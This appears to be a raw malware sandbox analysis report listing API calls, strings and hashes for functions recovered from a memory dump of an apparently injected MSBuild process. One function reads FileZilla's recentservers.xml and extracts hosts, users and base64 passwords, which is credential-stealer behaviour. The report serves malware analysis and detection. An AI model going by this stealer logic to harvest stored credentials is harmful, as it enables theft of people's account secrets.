GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction ID: ff9f3fb77af2488786a742b30a7a77c7a6675fe12b7944dcc27658a291e6e945
Opcode Fuzzy Hash: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction Fuzzy Hash: 08F04FB5D44208AFC710DFD8DD49BAEBBB8EB05711F10025AFA05A2680C77815448BA2

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction ID: a8b5f4e8781596c88644d8aa2969b9d6e82c50da38cf1cac8898b5ca04c80d98
Opcode Fuzzy Hash: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction Fuzzy Hash: F4D05E7C94030CEBCB14EFE0D9496DDBB79FB0D311F001559ED0572340EA306481CAA6

Function 00419C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,0134F140), ref: 00419C2D
GetProcAddress.KERNEL32(77190000,0134F0C0), ref: 00419C45
GetProcAddress.KERNEL32(77190000,0134B038), ref: 00419C5E
GetProcAddress.KERNEL32(77190000,0134B2A8), ref: 00419C76
GetProcAddress.KERNEL32(77190000,0134B278), ref: 00419C8E
GetProcAddress.KERNEL32(77190000,0134B290), ref: 00419CA7
GetProcAddress.KERNEL32(77190000,0134D7D8), ref: 00419CBF
GetProcAddress.KERNEL32(77190000,0134B1B8), ref: 00419CD7
GetProcAddress.KERNEL32(77190000,0134AFC0), ref: 00419CF0
GetProcAddress.KERNEL32(77190000,0134B068), ref: 00419D08
GetProcAddress.KERNEL32(77190000,0134B0E0), ref: 00419D20
GetProcAddress.KERNEL32(77190000,0134F3C0), ref: 00419D39
GetProcAddress.KERNEL32(77190000,0134F220), ref: 00419D51
GetProcAddress.KERNEL32(77190000,0134F240), ref: 00419D69
GetProcAddress.KERNEL32(77190000,0134F360), ref: 00419D82
GetProcAddress.KERNEL32(77190000,0134B0B0), ref: 00419D9A
GetProcAddress.KERNEL32(77190000,0134B0C8), ref: 00419DB2
GetProcAddress.KERNEL32(77190000,0134D620), ref: 00419DCB
GetProcAddress.KERNEL32(77190000,0134F2E0), ref: 00419DE3
GetProcAddress.KERNEL32(77190000,0134B0F8), ref: 00419DFB
GetProcAddress.KERNEL32(77190000,0134B188), ref: 00419E14
GetProcAddress.KERNEL32(77190000,0134B128), ref: 00419E2C
GetProcAddress.KERNEL32(77190000,0134B2C0), ref: 00419E44
GetProcAddress.KERNEL32(77190000,0134F160), ref: 00419E5D
GetProcAddress.KERNEL32(77190000,0134B2D8), ref: 00419E75
GetProcAddress.KERNEL32(77190000,0134B2F0), ref: 00419E8D
GetProcAddress.KERNEL32(77190000,0134B308), ref: 00419EA6
GetProcAddress.KERNEL32(77190000,0134B380), ref: 00419EBE
GetProcAddress.KERNEL32(77190000,0134B320), ref: 00419ED6
GetProcAddress.KERNEL32(77190000,0134B338), ref: 00419EEF
GetProcAddress.KERNEL32(77190000,0134B350), ref: 00419F07
GetProcAddress.KERNEL32(77190000,0134B368), ref: 00419F1F
GetProcAddress.KERNEL32(77190000,013551D8), ref: 00419F38
GetProcAddress.KERNEL32(77190000,01349CA0), ref: 00419F50
GetProcAddress.KERNEL32(77190000,01355268), ref: 00419F68
GetProcAddress.KERNEL32(77190000,01355130), ref: 00419F81
GetProcAddress.KERNEL32(77190000,0134F0E0), ref: 00419F99
GetProcAddress.KERNEL32(77190000,013552C8), ref: 00419FB1
GetProcAddress.KERNEL32(77190000,0134F420), ref: 00419FCA
GetProcAddress.KERNEL32(77190000,01355298), ref: 00419FE2
GetProcAddress.KERNEL32(77190000,01355358), ref: 00419FFA
GetProcAddress.KERNEL32(77190000,0134F3E0), ref: 0041A013
GetProcAddress.KERNEL32(77190000,0134F180), ref: 0041A02B
LoadLibraryA.KERNEL32(013550B8,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A03D
LoadLibraryA.KERNEL32(013551A8,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A04E
LoadLibraryA.KERNEL32(013550D0,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A060
LoadLibraryA.KERNEL32(01355328,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A072
LoadLibraryA.KERNEL32(013550E8,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A083
LoadLibraryA.KERNEL32(013552B0,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A095
LoadLibraryA.KERNEL32(013553A0,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0A7
LoadLibraryA.KERNEL32(01355100,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0B8
GetProcAddress.KERNEL32(77040000,0134F260), ref: 0041A0DA
GetProcAddress.KERNEL32(77040000,01355388), ref: 0041A0F2
GetProcAddress.KERNEL32(77040000,01354FF0), ref: 0041A10A
GetProcAddress.KERNEL32(77040000,01355118), ref: 0041A123
GetProcAddress.KERNEL32(77040000,0134F1A0), ref: 0041A13B
GetProcAddress.KERNEL32(73D20000,0134D698), ref: 0041A160
GetProcAddress.KERNEL32(73D20000,0134F1E0), ref: 0041A179
GetProcAddress.KERNEL32(73D20000,0134D7B0), ref: 0041A191
GetProcAddress.KERNEL32(73D20000,01355220), ref: 0041A1A9
GetProcAddress.KERNEL32(73D20000,01355148), ref: 0041A1C2
GetProcAddress.KERNEL32(73D20000,0134F400), ref: 0041A1DA
GetProcAddress.KERNEL32(73D20000,0134F200), ref: 0041A1F2
GetProcAddress.KERNEL32(73D20000,013551C0), ref: 0041A20B
GetProcAddress.KERNEL32(768D0000,0134F2A0), ref: 0041A22C
GetProcAddress.KERNEL32(768D0000,0134F2C0), ref: 0041A244
GetProcAddress.KERNEL32(768D0000,01355160), ref: 0041A25D
GetProcAddress.KERNEL32(768D0000,01355178), ref: 0041A275
GetProcAddress.KERNEL32(768D0000,0134F440), ref: 0041A28D
GetProcAddress.KERNEL32(75790000,0134D490), ref: 0041A2B3
GetProcAddress.KERNEL32(75790000,0134D4E0), ref: 0041A2CB
GetProcAddress.KERNEL32(75790000,01355190), ref: 0041A2E3
GetProcAddress.KERNEL32(75790000,0134F340), ref: 0041A2FC
GetProcAddress.KERNEL32(75790000,0134F380), ref: 0041A314
GetProcAddress.KERNEL32(75790000,0134D508), ref: 0041A32C
GetProcAddress.KERNEL32(75A10000,01355208), ref: 0041A352
GetProcAddress.KERNEL32(75A10000,01355AC0), ref: 0041A36A
GetProcAddress.KERNEL32(75A10000,01355000), ref: 0041A382
GetProcAddress.KERNEL32(75A10000,01355340), ref: 0041A39B
GetProcAddress.KERNEL32(75A10000,01355238), ref: 0041A3B3
GetProcAddress.KERNEL32(75A10000,01355B60), ref: 0041A3CB
GetProcAddress.KERNEL32(75A10000,01355A40), ref: 0041A3E4
GetProcAddress.KERNEL32(75A10000,013551F0), ref: 0041A3FC
GetProcAddress.KERNEL32(75A10000,01355250), ref: 0041A414
GetProcAddress.KERNEL32(76850000,01355A80), ref: 0041A436
GetProcAddress.KERNEL32(76850000,01355370), ref: 0041A44E
GetProcAddress.KERNEL32(76850000,01355280), ref: 0041A466
GetProcAddress.KERNEL32(76850000,013552E0), ref: 0041A47F
GetProcAddress.KERNEL32(76850000,013552F8), ref: 0041A497
GetProcAddress.KERNEL32(75690000,01355A60), ref: 0041A4B8
GetProcAddress.KERNEL32(75690000,013558C0), ref: 0041A4D1
GetProcAddress.KERNEL32(769C0000,01355AE0), ref: 0041A4F2
GetProcAddress.KERNEL32(769C0000,01355310), ref: 0041A50A
GetProcAddress.KERNEL32(6F8C0000,01355C40), ref: 0041A530
GetProcAddress.KERNEL32(6F8C0000,013558E0), ref: 0041A548
GetProcAddress.KERNEL32(6F8C0000,01355B00), ref: 0041A560
GetProcAddress.KERNEL32(6F8C0000,013553E8), ref: 0041A579
GetProcAddress.KERNEL32(6F8C0000,01355AA0), ref: 0041A591
GetProcAddress.KERNEL32(6F8C0000,01355B20), ref: 0041A5A9
GetProcAddress.KERNEL32(6F8C0000,01355B40), ref: 0041A5C2
GetProcAddress.KERNEL32(6F8C0000,01355900), ref: 0041A5DA
GetProcAddress.KERNEL32(6F8C0000,InternetSetOptionA), ref: 0041A5F1
GetProcAddress.KERNEL32(6F8C0000,HttpQueryInfoA), ref: 0041A607
GetProcAddress.KERNEL32(75D90000,013553D0), ref: 0041A629
GetProcAddress.KERNEL32(75D90000,01354FC0), ref: 0041A641
GetProcAddress.KERNEL32(75D90000,01355430), ref: 0041A659
GetProcAddress.KERNEL32(75D90000,01355448), ref: 0041A672
GetProcAddress.KERNEL32(76470000,01355A20), ref: 0041A693
GetProcAddress.KERNEL32(702E0000,01355400), ref: 0041A6B4
GetProcAddress.KERNEL32(702E0000,013559A0), ref: 0041A6CD
GetProcAddress.KERNEL32(702E0000,01355418), ref: 0041A6E5
GetProcAddress.KERNEL32(702E0000,01355478), ref: 0041A6FD

Strings

HttpQueryInfoA, xrefs: 0041A5FC
InternetSetOptionA, xrefs: 0041A5E5

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction ID: b148544ec257a615b167952e2e9b89b3667e8f5620887ecf26b211dda149ff7d
Opcode Fuzzy Hash: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction Fuzzy Hash: 02621DBD5C0200BFD364DFE8EE889A63BFBF74E701714A61AE609C3264D6399441DB52

Function 00407710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,004161C4,?), ref: 00407724
RtlAllocateHeap.NTDLL(00000000,?,004161C4,?), ref: 0040772B
lstrcatA.KERNEL32(?,01351E20,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8), ref: 004078DB
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004078EF
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407903
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407917
lstrcatA.KERNEL32(?,01356340,?,004161C4,?), ref: 0040792B
lstrcatA.KERNEL32(?,01356148,?,004161C4,?), ref: 0040793F
lstrcatA.KERNEL32(?,01356358,?,004161C4,?), ref: 00407952
lstrcatA.KERNEL32(?,01356160,?,004161C4,?), ref: 00407966
lstrcatA.KERNEL32(?,013564A8,?,004161C4,?), ref: 0040797A
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 0040798E
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004079A2
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004079B6
lstrcatA.KERNEL32(?,01356340,?,004161C4,?), ref: 004079C9
lstrcatA.KERNEL32(?,01356148,?,004161C4,?), ref: 004079DD
lstrcatA.KERNEL32(?,01356358,?,004161C4,?), ref: 004079F1
lstrcatA.KERNEL32(?,01356160,?,004161C4,?), ref: 00407A04
lstrcatA.KERNEL32(?,01356510,?,004161C4,?), ref: 00407A18
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A2C
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A40
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A54
lstrcatA.KERNEL32(?,01356340,?,004161C4,?), ref: 00407A68
lstrcatA.KERNEL32(?,01356148,?,004161C4,?), ref: 00407A7B
lstrcatA.KERNEL32(?,01356358,?,004161C4,?), ref: 00407A8F
lstrcatA.KERNEL32(?,01356160,?,004161C4,?), ref: 00407AA3
lstrcatA.KERNEL32(?,01356578,?,004161C4,?), ref: 00407AB6
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407ACA
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407ADE
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407AF2
lstrcatA.KERNEL32(?,01356340,?,004161C4,?), ref: 00407B06
lstrcatA.KERNEL32(?,01356148,?,004161C4,?), ref: 00407B1A
lstrcatA.KERNEL32(?,01356358,?,004161C4,?), ref: 00407B2D
lstrcatA.KERNEL32(?,01356160,?,004161C4,?), ref: 00407B41
lstrcatA.KERNEL32(?,013565E0,?,004161C4,?), ref: 00407B55
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B69
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B7D
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B91
lstrcatA.KERNEL32(?,01356340,?,004161C4,?), ref: 00407BA4
lstrcatA.KERNEL32(?,01356148,?,004161C4,?), ref: 00407BB8
lstrcatA.KERNEL32(?,01356358,?,004161C4,?), ref: 00407BCC
lstrcatA.KERNEL32(?,01356160,?,004161C4,?), ref: 00407BDF
lstrcatA.KERNEL32(?,01356648,?,004161C4,?), ref: 00407BF3
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C07
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C1B
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C2F
lstrcatA.KERNEL32(?,01356340,?,004161C4,?), ref: 00407C43
lstrcatA.KERNEL32(?,01356148,?,004161C4,?), ref: 00407C56
lstrcatA.KERNEL32(?,01356358,?,004161C4,?), ref: 00407C6A
lstrcatA.KERNEL32(?,01356160,?,004161C4,?), ref: 00407C7E

Part of subcall function 004075D0: lstrcatA.KERNEL32(3364C020,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
Part of subcall function 004075D0: lstrcatA.KERNEL32(3364C020,00000000,00000000), ref: 00407648
Part of subcall function 004075D0: lstrcatA.KERNEL32(3364C020, : ), ref: 0040765A
Part of subcall function 004075D0: lstrcatA.KERNEL32(3364C020,00000000,00000000,00000000), ref: 0040768F
Part of subcall function 004075D0: lstrcatA.KERNEL32(3364C020,00421804), ref: 004076A0
Part of subcall function 004075D0: lstrcatA.KERNEL32(3364C020,00000000,00000000,00000000), ref: 004076D3
Part of subcall function 004075D0: lstrcatA.KERNEL32(3364C020,00421808), ref: 004076ED
Part of subcall function 004075D0: task.LIBCPMTD ref: 004076FB

lstrcatA.KERNEL32(?,01354D30,?,00000104), ref: 00407E0B
lstrcatA.KERNEL32(?,013557C0), ref: 00407E1E
lstrlenA.KERNEL32(3364C020), ref: 00407E2B
lstrlenA.KERNEL32(3364C020), ref: 00407E3B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 6fcfd6c6baea700e61f3ac76ac6e2f698724bd4a5264edc9866c41ae3b3538d0
Instruction ID: e42d55f5272c4be8e3f59257355b8fca4430f3dac2d75aeea8cbf9ff20cdab91
Opcode Fuzzy Hash: 6fcfd6c6baea700e61f3ac76ac6e2f698724bd4a5264edc9866c41ae3b3538d0
Instruction Fuzzy Hash: 12324EBAD50314ABD715EBE0DC85DEA737DBB45700F005A9DF209A2080EE78E7858F56

Function 00410250 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

strtok_s.MSVCRT ref: 0041031B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBA,00420DB7,00420DB6,00420DB3), ref: 00410362
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00410385
lstrlenA.KERNEL32(00000000), ref: 00410393

Part of subcall function 004188E0: malloc.MSVCRT ref: 004188E8
Part of subcall function 004188E0: strncpy.MSVCRT ref: 00418903

StrStrA.SHLWAPI(00000000,<Port>), ref: 004103CF
lstrlenA.KERNEL32(00000000), ref: 004103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00410419
lstrlenA.KERNEL32(00000000), ref: 00410427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00410463
lstrlenA.KERNEL32(00000000), ref: 00410475
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410502
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041051A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410532
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041054A
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 00410562
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 00410571
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 00410580
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410593
lstrcatA.KERNEL32(?,00421678,?,?,00000000), ref: 004105A2
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105B5
lstrcatA.KERNEL32(?,0042167C,?,?,00000000), ref: 004105C4
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 004105D3
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105E6
lstrcatA.KERNEL32(?,00421688,?,?,00000000), ref: 004105F5
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00410604
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410617
lstrcatA.KERNEL32(?,00421698,?,?,00000000), ref: 00410626
lstrcatA.KERNEL32(?,0042169C,?,?,00000000), ref: 00410635
strtok_s.MSVCRT ref: 00410679
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 0041068E
memset.MSVCRT ref: 004106DD

Strings

<Port>, xrefs: 004103C6
NA, xrefs: 004102CC, 004102F2, 004102CF, 004102F5
<Host>, xrefs: 0041037C
password: , xrefs: 004105FB
<Pass encoding="base64">, xrefs: 0041045A
profile: null, xrefs: 00410568
url: , xrefs: 00410577
browser: FileZilla, xrefs: 00410559
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004102A4
login: , xrefs: 004105CA
NA, xrefs: 0041072E, 004106AF, 004106B2
<User>, xrefs: 00410410

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
